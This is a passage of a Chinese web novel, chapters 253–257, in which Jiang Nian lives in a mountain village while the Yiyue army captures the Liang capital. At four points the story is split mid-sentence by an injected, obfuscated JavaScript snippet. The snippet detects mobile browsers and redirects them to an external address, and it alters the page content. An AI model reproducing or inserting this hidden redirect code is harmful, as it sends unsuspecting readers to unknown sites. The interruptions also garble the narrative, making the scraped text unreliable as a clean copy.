“妹子,咱们算是共患难共生死,我也不把你当外人。”云娘停顿了一会儿,显然后面还有话。 “云姐姐,你有话但说无妨。”江念说道。 云娘这才开口:“妹子,我是想说……”说着往江念脸上看了一眼,转而一笑,“咱们拿个网兜去抓些鱼,晚上烤着吃如何?” 江念呆了呆,她在夷越的过往云娘是清楚的,她以为她会说一些奉劝的话,劝她回夷越,抑或是劝她继续留在大梁。 没想到她却说去捕鱼? “捕鱼?” “对,你看咱们云水村好山好水,就眼前这条村溪,因着溪水清澈,里面有好多小鱼儿,柳根子你吃过没有?” 江念茫茫地摇了摇头,这摇头不是没吃过,而是就算吃过了她也不知道那鱼儿叫什么名。 “咱们这里的村溪因着水质干净, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801394|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面有好些宝货,这会儿还能捉些螃蟹哩!”云娘是个风火性儿,嘴里说出的话同行动隔不了几步远,说着便起身。 “走,咱们脱了鞋袜,就在溪边捞一捞,晚间我做油炸小鱼儿,蒸螃蟹吃,叫你尝一尝我的手艺。” 说罢叫秋水去院中拿抄网来。 江念完全跟不上云娘的步调:“脱鞋袜……捞鱼?” “是呀!你儿时定没这样玩过水,是不是?” 江念望向不远处的小清溪,说道:“那水里会不会有什么咬我的脚指头?会不会溺进去,我不太会水。” 云娘看着江念,吃吃笑起来:“你看你胆小的。” 江念把脸一红,儿时她坐着马车游郊外,途经一个河塘时,也曾羡慕那些在河塘里玩水的孩子,嬷嬷在一边告诉她,那水里有“水鬼”专拖小孩下水,说她细嫩肉儿,水鬼最喜欢,她要下到水里,水鬼就得加餐,叫她不许靠近河塘。 自那之后,江念就记住了,再不想凫水之事,虽然后来长大,也知道嬷嬷是吓唬她,可是那话的作用还在。 “这片是浅水滩,哪怕到溪中间也只齐到大腿处,往下去好远水才渐深,咱们只在溪边,水将将没及小腿肚。”云娘指了指面前的清溪。 江念听罢,随着云娘近到溪边,见云娘麻利地脱了鞋袜,她也跟着脱去鞋袜。 一入到水里,溪水有些凉,清澈的溪水没到脚踝,很舒爽,脚下是滑溜的小石,有些膈脚。 江念慢慢放大胆子,往前行了几步,低头看着水里的双脚,不时有小鱼儿从旁边游过。 “看见鱼了,要怎么抓?” “我让秋水那丫头拿抄网去了……嘿,来了,来了。”云娘招了招手,“这里。” 秋水将抄网递给两人,然后就守望在一边。 兜捞了一会儿,木桶里有了不少鱼,然后云娘又带着江念扒石头找螃蟹。 “这个时节的螃蟹最是肥美,不论是公蟹的蟹膏还是母蟹的蟹黄很是丰腴。”云娘说道。 江念并不懂这些,平日里她只吃现成,于是笑说道:“我这是生了个好人家,又在太平年岁中,像我这样的无用之人,若是哪日天下大乱,逃难的路上能把自己给饿死。” 云娘一面翻石头,一面笑说道:“也不是这么说,人都是被逼出来的,你看咱们那会儿,那样艰难都活下来的,还有什么怕的,不过好在都过去了,怎会有逃难的日子哩!” “倒也是,我也就是这么一说。”江念抬起头,将手抬起遮住额,挡住头顶晒人的光线,沿着河溪放远目光。 云娘一个手快,抓住一只肥大的螃蟹,沥着水举起,迎着日光,对江念说道:“就算哪日逃难,还有妇人我呢,咱们也算难姐难妹了,只要有我一口吃的,就有你一口吃的!” 这时,溪岸边的秋水插话道:“云娘,那有没有我吃的?” 这一问,三人皆是笑出声,本是随口之言,说着说着竟像真事一样…… 第254章 逃吧,他们打过来了! 江念在云水村住了很长一段时日,渐渐习惯了村子的作息,日出而起,日落而息。 平日她也不需做活计,天光不明时,踏着朝雾,挽着竹篮,同村妇们一道上山采摘野菜。 下山后,鞋底便会糊着**毵毵的泥草,衣衫也为之湿润。 她会将采摘的野菜洗过,一半给云娘现抄,一半在院中晾晒,日后拌着吃,拌吃野菜的法子,云娘做她吃过一次后,就好上了这一口。 每日吃饱喝足,云娘带她在村子周围闲转,上山下河,这些儿时不曾体验过的野趣在她二十八岁这年成了日常。 她仍是会想念孩子,特别是静下来的时候,然而,对于呼延吉,在她从李旭嘴里听说那些话后,一度不敢去想这个人。 那段时日,她整日闭在屋里,将自己缩于暗处,不愿面对,一切事物都让她觉得没意思,疲于应对,连开口说话都费劲。 如今,她在云水村住了这段时日,内心平和许多,壅堵的心绪也在一点点地松动。 她也许……应该相信他…… 于是,在江念的心境放平之时,慢慢滋生出一个念头,呼延吉应当不会做这样恶毒的事情,不需要什么证据,她是可以相信他的,如果见了面,是不是可以坐下来,把事情道明清楚。 这样的念头正在一点点由四面八方汇集,它需要时日。 前一晚,下了一场秋雨,雨后天气骤凉,嘴里可以呼出白烟,空气飕飕寒凉,枝头的叶子落了不少,铺了一地,还有些在梢间摇摇搭搭,一阵风来,便旋着飘下来。 天有些阴沉,灰云下的云水村也是暗着。 因着天气骤冷,人们开始添加厚衣,村人们脸上虽带着笑,总不如天暖时那么舒展。 “妹子,我把衣衫整叠了,你简单收拾一下,咱们去一趟翠微寺。”云娘说道。 江念正扫着院里的落叶,随口问道:“就是后山上的那个寺庙?” “是,我带你转看转看,咱们去烧烧香,然后在后山坐着歇歇脚。”云娘在屋里一面叠衣衫,一面侧头朝外喊了声儿,“水丫头,你整点吃的带上。” 江念接着问了句:“中午不下山了?” “不下了,那山路不好走,去一趟不容易,我们去敬了香,再到山间摘些果儿。” 江念“嗯”着应了。 “这后山的寺庙受周围几个村落的供奉,里面也有斋饭,不过呢,不怎么入得了口,咱们自己带一些,玩玩转转又一日。”云娘笑说道。 江念同秋水听后,也跟着笑起来。 不一会儿,三人出了门,往后山行去,护卫仍是远远地跟着。 通往翠微寺的山路是村人们走出来的,蔓草杂林中光秃出一条狭窄的道,蜿蜒向上。 走了好一会儿,直到眼睛能看见那寺庙,脚下的路才变成石阶。 三人进了庙,烧过香,各自虔诚叩拜,秋水是最先起身的,她没什么别的愿望,就是希望她家娘子安好。 秋水起身后,退到一边,看向佛前跪着的云娘和江念,两人双手合十,微垂着颈,默诉着。 正巧云娘睁眼之时,秋水的目光落在她的身上,在她印象里,云娘一直是大喇喇的做派,可在刚才,她从她面上窥探到一抹异色,很快消失,让她以为看错了眼。 “怎么了?我脸上有脏物?” 秋水这才惊觉云娘已走到她的面前。 “没呢,我就是在想,云娘你许的什么愿。”秋水戏说道。 “我还没问你呢,你这丫头倒先问起我来。”云娘笑睨着秋水,“叫我猜一猜啊,是不是求佛祖给你个如意郎君?” 秋水把脸一红,嗔怪道:“我才不要什么郎君,我求佛祖保佑我家娘子平平安安,我要伺候她一辈子哩!” 云娘脸上一慌,赶紧说道:“哎呀!你这丫头,坏事,坏事,这话不能说,在佛祖面前**的话可不兴说出口呐,不然就不灵验了!” 秋水睁瞪着眼,赶紧捂上嘴,然后看了一眼佛像,又要上前再拜。 “我重新许一次,叫佛祖他老人家莫要见怪。” 正巧江念起身,走到她二人身边:“说什么呢?” 云娘说道:“这丫头一心为你,结果嘴巴太快,把愿望抖搂出来,我说愿望只能佛祖听,说出来就不灵了。” 江念笑着摇了摇头,一行人便出了寺庙。 翠微寺坐落山间,很清幽,因不是节庆,上山的村民不多。 云娘指向一条小径:“我们去那边走一走,前面有个草庐,可以歇脚。” 三人于是沿着石子小径往林间行去。 林子很密,踏着半干的枯叶,响出沙沙声。 这时,前面一条岔口行来几人,走在江念等人的前面,几人身着青布长衫,头戴方巾,在前缓缓而行,看衣着不像附近的村人,听云娘说这山背后有一书院,应是书院的学生。 只见其中一人说道:“你们可听说了,越军打过来了。” “咋没听说,书院最近走了好些人,都避难去了,就怕打到这里。”又一人说道。 “若不是前梁帝败了国本,咱们也不至于这般被动。” “也不是这等说,先帝在时,咱们大梁就已然势微了,若那时太子继位,说不定还能重兴,谁料是三皇子承继,不仅没能兴梁,一味听信奸佞阿谀奉承,朝令夕改,政策昏聩,更是雪上加霜。”说着书生叹息一声。 “如今太子重登帝位,想要施展仁政却失了天时,叫我说呐,只怕夷蛮子们不久就要攻进京都城。” 说罢,几人又是唏嘘嗟叹。 “明日我也不在书院了。”又一人说道。 “你也准备走了?可又能走到哪里去?” 只听那人说道:“投我姑父去,他是定州人,那里太平,昨日我收到他的书信,他叫我去他那里。” 几人听后默然不语,定州,一个早已归入夷越的梁土,确实是个安全的去处。 这时又一人说道:“我也要走了,投我在邕南的亲戚。” 先前说去定州那人听后,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807256|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“那咱们能一路。” 定州、邕南,还有宣州等地都并入夷越,若能避去那里,就能逃过战乱。 几人说话时还未觉着,等静下来才发现身后有脚步声,遂回过头。 原是三名女子,尤其走在中间那名妇人,姿色不俗,虽是妇人扮相,却很难叫人移开眼。 于是恭谦地侧过身,让出道来。 江念三人微笑颔首,从小径行过,错过几步时,江念突然回身,问了句:“适才听几位说夷越人打过来了?” 几人见美妇人问话,也愿意多说几句,遂说道:“几位娘子不知,夷越军兵已攻下了川城。” 云娘插话问道:“川城?可川城离咱们这里还远着呢!几位刚才的话语像是立马就攻过来了。” 其中一书生说道:“川城离京都远那是因为道路绕行,这才叫人觉着远,若是行兵打仗,那都是按舆图上最短的线路走,逢山开路,遇水搭桥,实则呐,一点也不远。” 又一人说道:“如今越军已夺了川城,夷越王亲领几十万大军就在川城驻着,咱们这边掩着消息不说,怕乱了人心,其实消息早私下传开了,只是不敢拿到面上说而已。” 这人又劝说道:“三位娘子还是能避就避罢,咱们这些老百姓的肉身哪经得起蛮子们的刀锋。” “是啊,你们弱质女流,真要碰上那些蛮子,后果难料哩!还是寻一寻自家有无亲戚在定州或是边境的,那里安全些。” 江念几人听罢,施了一礼:“有劳几位提醒。” 书生们抱拳还礼。 江念三人走到草庐里坐下,秋水拿出吃食摆上桌,因着刚才书生们的话,三人面上都染上了忧色。 “云姐姐,我得回江府。”江念说道。 “可是京都如今不太平,不如就在这山坳里住着,兴许还能避一避,那些士兵手里的刀剑可是不认人的。” 江念明白云娘的意思,真乱起来,谁还顾得上你是何人,有何等身份。 江轲应会留守京都护李恒周全,她最担心的便是江轲,怕他同呼延吉碰上。 上次雨夜,阿多图带兵追来,领的王令就是斩杀江轲。 呼延吉对她失望了,对江轲更是没了旧情,反之,江轲对呼延吉亦是恨之入骨。真让他二人碰上……江念不敢再想。 她于他有恩,他还了,从此恩情绝,不相见……这是他让阿多图带来的话。 可她希望呼延吉看在朔儿的面上,放江轲一条生路。 “我的家在京都,家人也在京都,我得陪着我阿弟。”江念说道。 云娘叹了一口气,说道:“那我随你一道回京都。” “云姐姐不必跟去……”她是要守在京都的,换而言之就是明知京都凶险,她也要回去。 云娘把江念的手按住:“怎么前面才说过的话,这会儿就忘了?咱俩可是难姐难妹,怎能叫你一人去京都,我自己在这躲避战乱?” 江念心里感动,不再多说,当下商议定,明日启程回京都…… 第255章 躲避战火 江念三人头一日去寺庙上香,听说夷越兵军不日就要攻取大梁京都。 她料想江轲应会留于京都守城,心中记挂他,便要回京都城,云娘随同。 次日一早,秋水理好行装,护卫赶来马车,她将行李放入马车内,又熏了香,备上热水和一些吃食。 一切妥当后,从车内出来,正要进院,就见远处有“得得”马蹄声,只见一人一马正朝这边行来,而乘于马背上的男子并非云水村之人。 于是立在原处,等他行近了再看清楚些,等看清后,发现这人是江府的护院。 “娘子呢?”护院翻身下马,问道。 “稍候。” 秋水赶紧进了院子,告诉江念府里来了一个护院。 江念从院中走出,见了来人,心里不安起来,像是煎熬的药水,终于沸腾了,她担忧出了什么不好的事情。 “怎么了,是不是府里出事了?” 护院躬身道:“娘子不必忧心,不是江府出事,是小郎君叫小人来的。” 沸腾的苦药水里加了一瓢冷水,压住了咕噜的势头。 “轲儿?” “是,皇上令小郎君带兵去北边,郎君如今并不在京都,京都之后会有骚乱,郎君担心娘子回都城,走之前嘱咐小人来一趟云水村,告知娘子,就在云水村住着,莫要乱走动,等一切平定后,再出村子。” “我阿弟不在京都,去了北边?”江念眉心皱起,李恒这个时候怎么把江轲支去了北边?“他还说什么没有?” “没了。” 护院带到消息后就走了。 既然江轲不在京都,江念也就没必要往京都去了,于是继续留在云水村。 再之后,村子里的生活仍是那样,直到有一日,去镇上买卖的村人听到风声,带回了夷越军就要打来的消息。 这声音一出现,风一样,一夜之间传遍了村子,人人紧张起来,一张张明亮的脸变得愁云笼罩。 从前大家碰上,会乐呵呵地打招呼,就是没话说也要闲说上几句,而现在,因着战乱将近,村人们碰上也不笑了,快速地擦身走过,要么相互看一眼,叹几声。 再之后,整个村子越来越沉闷。 这日,江念正在院中坐着,云娘突然从外面走来,急声道:“走,走,快走……” 江念噌地站起:“怎么了?” “哎呀,村长拉动村人们,挑石运土,要把入村的山道口封起来,我们快去,能出一分力是一分。”云娘说着,入到棚架下,抄起铁锹和竹篮。 云水村四面环山,需得通过一条窄长的山道方能进村。 “这能行?” “老百姓躲避战乱能有什么好法子,自己能使的也就是一身力气,用最夯笨的办法,就是为着能睁眼、能喘气,就是想活着。” 江念同秋水见此,二话不说,从棚架下拿起铁锹跟着云娘去了山道口。 山道口已聚满了村人,男人们挑山石,妇人们合泥浆,还有小儿在一旁打下手。 忙忙碌碌每个人都不闲着。 “大家伙动作迅速些啊,只要村口把住了,那些夷蛮子就进不来。”村长高声道,他那粗嗄的嗓音在峡道内大起来。 “咱们云水村这样隐秘,料那些人寻不来,叫我说啊,这战火烧不上咱们。”一个村汉说道。 “也不能这样说,万一那些夷越兵找到这里了呢,抢咱们的食物,杀咱们的男人,污咱们的女人,可怎么是好?还是把村口封严实更安心,不然夜里睡不踏实。”又一村汉说道。 其他男男女女纷纷附和。 此时一个不同的声音响起。 “诶!诶!你们别说得吓人,没那样坏,就我知道夷越兵只占城,并不伤民哩!” 众人看去,正是云娘。 “真的?”村人们先后问道。 “真真的。” 虽是如此说,可众人还是手上不停,继续砌石堆土,谁也不愿把自己的性命赌在一个不可预料的事情上,他们梁人连自己人都信不过,遑论去信那些凶蛮的异族。 江念听着人们对夷越军的议论声,他们的声音并没有刻意地压低,那头说的话儿,这头就能听进,纷纷杂杂传入她的耳中。 有咒骂的,有惧怕的,亦有幽默玩笑的…… “让我说,果真如云娘说的那样,只占城不伤民,也不是坏事,以后指不定我还能娶个夷越媳妇。” 村人们叫这话说得乐了,本是紧绷的气氛跟着松弛下来。 一妇人笑骂道:“呸!夷越女子能有咱们梁人好?有一次我在小镇上见过那些夷女,黑着呢!头发丝还是卷的,领口开那么大。”说着,用两手比画,在空中拉出一个大的距离, “哎哟,她好意思穿,我都不好意思看哩。”妇人越说越起劲,两眼放光,全是对异族人的新奇,哪还有担心惧怕。 又一妇人兴兴头头插话进来:“我也见着了,不过我没见过夷女,我见得是夷越的男人,又高、又大,怪好看的。” 此话一出,旁边有几个噗嗤笑出声,那妇人一开始还没意识到,等回过味来,闹了个大脸红。 村长见越说越不像话,咳了一声,发言道:“好了,好了,一个个儿头脑简单,你们也不想一想,真要夷越人成了这片土地的主人,你们都得当奴隶去,夷越男女就会骑到梁人头上。” 是啊,夷越人统管大梁,肯定会压迫梁人,怎会同他们安然共处。众人想及此,便不再玩笑,专心搬石运土。 接连忙活了两日,终是把山道堵了。 村人们也无需从外面采买器物,至于吃的,不论是荤是素都可从山里获得。 因白日劳累了一日,身上泥污汗渍,秋水特意多烧了热水,装了一大桶水,伺候江念沐洗。 江念从未这样出力过,肩膀还有手臂的肉紧绷着,像是皮下顶着石块,无法放松,稍一动作,连筋带肉扯着涩痛。 一入到浴桶里,微烫的水没上胸口,整个人随之瘫软。 “婢子给您捏捏肩背。”秋水说道。 江念闭上眼,伏在桶沿“唔”了一声。 在秋水的按捏下,江念的身子稍稍轻缓,泡了一会儿,水温渐凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807257|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秋水伺候江念从水里起身,换了干净的衣衫。 此时云娘已把晚饭做好,摆在堂屋,见江念白着脸走来,走路时有些拿不起脚,心疼道:“这两日累着了,不该把你叫去的。” 江念坐到桌边,说道:“小妹晓得云姐姐的用意,既住在村子里,同村人们也日渐熟络,大家伙都在出力,连那无知无识的小儿都去了,我怎能不去呢。” 云娘分放好筷箸,点头道:“是呢,我是这个意思,所以当时叫上你二人。” 吃饭间,云娘瞥见江念拈筷箸的手势有些异样,再定目一看,才发现她的指间打了好几个泡。 “我那屋里有药膏,一会儿你涂抹些。” 江念不甚在意,以前流放时,手腕、脚腕都被铁镣磨破了皮,连皮带肉的往外翻卷,而今这点伤当真不算什么,只是身上各处酸痛不已,有些抓心。 “这山路要堵多久?” 云娘想了想,说道:“我也是听他们说的,是想先堵着,等外面尘埃落定,再通山道,那时候,不管外面谁当家做主,总不至于死在兵刃之下。” 到了这个人人自危的时候,能有一隅容身之处,也是不错了。 “你是不是担心小将军?”云娘又问。 江念点头道:“我只是有些不明,为何要把他派去北面,那里离京都甚远,到底是何意图。” 云娘唉叹一声,她其实有些心疼江念,一面是自家亲弟,一面是共枕之人,而且就眼下境况看来,大梁敌不过夷越。 此次,夷越攻势如此迅猛,全不给大梁喘息的机会,不禁让人觉着夷越之前进犯大梁,是不疼不痒的小打小闹,现在才来真的。 她虽不清楚江念同夷越王之间因何闹矛盾,但那日亲卫首领道出的话,她在屋外听清了。 其实夷越王让阿多图带她到江念身边的意图,她明白,她就是他的一双眼,一张嘴,必要的时候需得起到作用,不过这也是基于夷越王待江念真心,而她呢,自然是希望江念好,所以也甘愿出这一份力。 平日里,她时不时的会在江念耳边说些宽心的话语,其实那些话的内里是向着夷越王的。 云娘一乡野妇人,让她料理家计可以,这些军战谋略之事,她真不懂,也说不出什么,只能安慰道:“小将军一定能平平安安。” 江念就是再担心,这些担心在这个时刻却派不上用场,她猜不透李恒的用意,北面,北面有什么?为什么要把轲儿支去梁境北面? 到了夜里,秋水拿针给江念挑了掌心的泡,然后涂抹膏药,各自睡下。 屋外秋虫叽叽,昏黑的小屋里,卧于窗榻的云娘已睡去,没过多久,脚榻上的秋水呼吸也变得绵长。 江念闭上了眼,在睡去前心里还想着,江轲去了北边也好,起码同呼延吉不用正面对上。 只要他二人不对上,她就不担心什么了。 …… 彼边,大梁都城。 李恒端坐于御案后,几名将领刚刚散去,只有一人仍立于案侧。 这人不是别人,正是江轲…… 第256章 擒贼先擒王,捉住梁帝 李恒并未派江轲去大梁北面,他人仍在都城中。 “多亏陛下提醒,否则阿姐回来势必会卷入战乱之中。” 眼下两国交战,且梁国这边战况并不乐观,呼延吉亲率大军,其志直捣大梁京都,如今大部人马已到了川城。 京都城失守不过是时间早晚,那个时候城内兵戈匝地,狼烟四起,若阿姐得知此消息,一定会不顾安危而回江府。 京都若变成战场,也就意味着守城失败,大梁亡了,那个时候,城中百姓没有高低贵贱,只有活人和**。 而他嘛……会誓死守在君王身边,用他的命护他周全,到最后自己多半也是活不了的,所以断不能让阿姐留于都城内。 不过先时他没想到,还好皇帝提醒了他一句,他才让护院带消息去云水村,让阿姐不要回京。 她在那村子可以避一避,等大局定下,再回来,那个时候……是去是留她自己选择。 呼延吉虽说让阿多图带了绝情话给她,可他知道,只要阿姐肯服个软,呼延吉必不会计较,仍会留她在身边。 他其实很后悔,不该把她扯进仇恨中,糊涂一世未尝不是一件幸事,终是悟得太晚。 “陛下,趁夷越军没攻来,臣护您出城暂避。”江轲说道。 李恒淡着眉眼,嘴角带了一丝笑,这笑比秋日的高空还虚渺。 “国都没了,能避到哪里去?我就守在京都,若大梁倾覆,我便以身殉社稷。”说着又问,“你阿姐可安顿好了?” “阿姐已做了安排,臣派人守着,不会被战事所累。”江轲回说道。 “那就好,那就好……” …… 这日,战火终是烧到了京都,夷越大军列阵于京都城门前。 梁军立于城头,看着城下黑压压一片,这些人的甲衣带着焦烧的血腥,手上的弯刀泛着寒光。 城头上的守城军没有不胆战的,可纵使明知最后是个死,也不得不坚守。 城下一人出列,朝上叫喊:“速开城门,降者不杀!” 守城军们两眼盯着下面,一个个面色绷紧,眼中是赴死前的寂然。 其中一城卫,举起弓箭,射向城下喊话之人,那人躲闪不及,被利箭对穿肩头,从马背上掉落。 夷越军怒起,骚动起来,像是云雷掀动海浪。 城头的梁军见到这一幕,慨然道,这些越军真是齐心,只不过一个兵卒受了一箭,却能引得大军掀腾。 这些人就像不知疼痛一样,**当铁,硬是杀到了梁国的心脏。 受伤的兵卒被拖回军阵中。 寒风遽起,枯林寒鸦,旌旗在风中猎猎作响。 城头梁军清楚观得,门旗影出马一人,只见那人全副披挂,银甲白袍,威压难掩,正是夷越王呼延吉。 男人双唇轻启,吐露两字:“攻城。” 军令一下,抛石车准备,像巨人的力臂,一个个带着滚滚浓烟的火球抛了出去,再从天上降到城头。 黑烟如妖雾,火舌直窜天际,烧得头顶的天都是红的,厚重高耸的城墙在猛攻之下,变得脆薄,变得焦黑,变得不堪一击。 城中留下的百姓皆是去无可去之人,再就是闭城之时来不及出逃之人,只能瑟瑟发抖地躲于家中。 喊杀声、箭矢破风之声,还有马蹄纷沓之声,越来越响,越来越乱,接着,更大的响动涌了进来,这凶潮的怒吼让他们意识到,城破了…… 百姓们都以为自己活不过今日,夷越人下一刻就会破门而入,把他们拖出屋,拉到街上,或砍或杀,发泄收不住的煞气。 行军之人杀红了眼,是不能停手的,他们需得发泄,像是失控的蛮兽,这也是为何历来城破之后,士兵会屠城,统军的主帅也从来不遏制。 他们的国亡了,大梁亡了,他们的血会浸染脚下的土地,这座城会迎来一批新的主人和城民。 想及此,躲于屋室的大梁百姓惊惶着,无能为力着。 王二娘家里有四个儿女,皆不超过八岁,最小的那个只三岁,她男人走得早,单靠她一人养活四个娃娃。 夷越军兵不日就要攻进都城的消息传来时,有投靠的都走了,可她走不了,她本是有去处的,娘家有一门亲在宣州,宣州如今太平。 可她跟前还有四个娃儿,最小的那个走路还晃摆,根本行不了长途,不得不留下来。 妇人凶着脸,恶狠道:“一会儿不管发生什么事情,你们都不许出声,听到没有?!” 孩子们巴巴睁着眼,他们害怕,揪着自己娘的衣角不愿松开,好像只要揪着这一节衣角,就安全了。 “娘,我们不出声,是不是就能活?” 王二娘眨了眨酸胀的眼,说道:“是,你们平时不是最喜欢捉迷藏么,今天你们都要藏好,不许被人发现,不管看到什么,不论发生什么,你们都要把嘴巴闭严实,谁能坚持到最后,谁就赢。” 大点的女儿开口道:“那娘呢,娘也躲起来吗?” “娘不躲,娘守着屋。” “娘为什么不躲?那些人找到娘怎么办?”又一个小子问道。 王二娘气骂道:“恁多废话,叫你们咋做就咋做,轮得到你们管老娘?!” 说罢,拎起最小的那个,走向屋角,将角落里的酱缸盖一掀,把孩子丢了进去,然后掩上。 刚要转身,就听缸内传来孩子稚嫩的嗡声:“娘——里面好闷,熏人。” 王二娘嘴里喋喋骂着:“都是一群讨债鬼。” 说是这么说,转手把缸盖推出一条缝,然后又折过身去抱另一个,将孩子塞到床底,还有两个,全塞进了衣橱。 四个孩子俱以藏好,屋子里安静下来,王二娘搬来一张老木椅,摆在房屋正中,坐下,盯着眼前的木门。 几个孩子从不同的方向望去,看着他们母亲的背,膀大腰圆,平日里可凶,可这会儿他们却觉着她的身体并不壮实,还很脆弱,她抵不住那些蛮人。 “娘——”几个声音唤道。 妇人这次没有再骂,只是“嘘”了一声。 屋内再次安静下来,门外的闹动声愈发大起来,地面也跟着轰动不宁。 这时,杂乱的脚步声往这边行来,接着门被推开。 三名身着铁甲的夷越兵扬头进了屋子,王二娘看着来人,虽是努力保持镇定,仍不免煞白了脸。 这些夷越兵都是高个头,甲衣上染着血,身上或多或少带着伤,脸黑,散着发,像是才吃过人一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815035|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王二娘站起身,立在三人面前,看着他们。 塔什带着两名手下挑了一间街边小屋进入,发现屋主竟是一名妇人。 战前,上面一再交代他们,进城后不可乱来,要帮扶城中百姓,安抚人心,若有违者军法处置,这不,一进城,各自忙着找帮扶对象。 届时上面问起来,他也有话回,然后给他再升一级也不是不可能。 于是进了屋后,先是环顾一周,然后问道:“这屋里就你一人?” 王二娘强自镇定:“是。” 塔什点了点头,走到窗台边,把台边的一个酒瓮拿起,就在王二娘以为他会砸了时,那男人拿袖口在瓮身上拭了拭,把灰尘拂掉,完了还点头自言自语道:“嗯,干净了。” 另两个小兵,见他们的头儿有了动作,也开始上手,一个拿笤帚扫地,一个拿抹布掸灰。 王二娘愕愣在原地,这是在给她打扫房子?不是来抢砸的? 塔什清了清嗓子,他不惯做这些,让他上战杀敌倒是可以,说道:“你看看这屋子有无需要我们出力的,比如挑水啊……” 说着揭开了水缸,然后话就断了,这缸里怎么还有个孩子? 王二娘赶紧走过去,一歪身,倚在缸壁上,讪笑道:“正在捉迷藏呢!” 塔什挑起一边的眉:“捉迷藏?” “是,是,孩子闹着玩儿。” 塔什抿了抿唇,心里猜到怎么回事,不过也不挑破,说道:“行了,既然你这屋子不需要下力的,我们就走了。” 说罢,一挥手,领着两名小兵推门而出。 待人走后,王二娘吁出一口气,还有些回不过神,这就没事了? 直到身后小儿唤了她一声,才反应过来,忙把最小的那个从缸里拎出来,然后踢了踢床栏,让床下的那个爬出来。 一面走到衣橱边,打开柜门,探出手,抱出柜子里的孩子,刚一手一个抱出,房门又开了。 “对了……你若是……”塔什看着眼前的四小一大,正巧四小一大也把他看着。 王二娘赶紧问道:“大人有什么事?” 塔什“哦”了一声,开口道:“你这里日后若需要帮忙,可以去军中找我,我叫塔什。” 王二娘愣愣地点了点头,道了一声“好”。 塔什看了一眼四个孩子,然后带上门,走了。 待这次真的走后,最大的孩子问道:“娘,他为什么叫你去军中找他?” 王二娘脸上不自觉飞上一抹红晕。 “娘,你怎么脸红了?”一小子问道。 王二娘柳眉一立,揪着儿子的耳朵:“红什么红,这是被你们气的。” …… 李恒还是小觑了呼延吉。 呼延吉是天生善战之人,而自己空有一颗重振梁室之心,大梁如今国力衰败,境土不断被蚕食,他手上虽有勇将,同好战的夷越人相比,还是差了几等。 一个势衰,一个盛兴,像一个耄耋老者对上青壮年,任你再多智,也应付不来实打实的拳脚,还不给你还手的机会。 夷越军兵攻进皇宫,宫侍们四处逃窜。 其中一魁伟军将拉住一名宫人,粗声道:“你们皇帝呢?” 擒贼先擒王,必要先抓梁帝…… 第257章 大梁,亡了! 夷越军兵破了都城,其中一彪人马径入皇宫。 葛萨为呼延吉手下大将,同昆善一样,曾在宣州一役立过大功。 此次攻占大梁,大王亲领部众,不仅带了昆善和他,还从调派了达鲁。 葛萨对达鲁并不熟悉,只知这人作战骁勇,手下诸多精兵强将,便存了要一较高下的心思。 破城之后,他亲率一彪人马径直闯进皇宫,如入无人之境,正所谓擒贼先擒王,他要拿住梁帝,到大王面前邀头功。 于是随手扯住逃窜的宫人,问道:“你们皇帝呢?” 那宫人瑟瑟不能言,半天说不出一句利索话来。 葛萨一脚踹在那宫人的屁股上:“滚!”然后提刀于宫殿搜寻。 只是上上下下搜了个遍,也没寻到梁国皇帝,暗道,这厮只怕闻到风声先跑了,气得在手下面前恨恨气骂梁国鼠辈。 此时,京都百姓见夷越军兵攻入都城后,并未屠城,纷纷走出房屋,立在街边观望。 是人都会有好奇心,在确认自己性命无忧之后,这好奇心便随着胆子大了起来。 街面上的人越来越多,人群里男男女女私议着。 “哎呀!以为小命不保矣。”此时一个络腮大汉叹道。 “听你口音不像本地人士。”旁边一瘦小男人将络腮大汉打量一番。 络腮汉子点头道:“我不是你们梁人呐,我是从大夏来贩货的,哪曾想碰上战乱,想要出去时,城门封了,出不去。” 瘦小男人抱拳道:“原来是从大夏来的商客。” 络腮汉子又是一声叹:“你们大梁这是要换君主啦——” 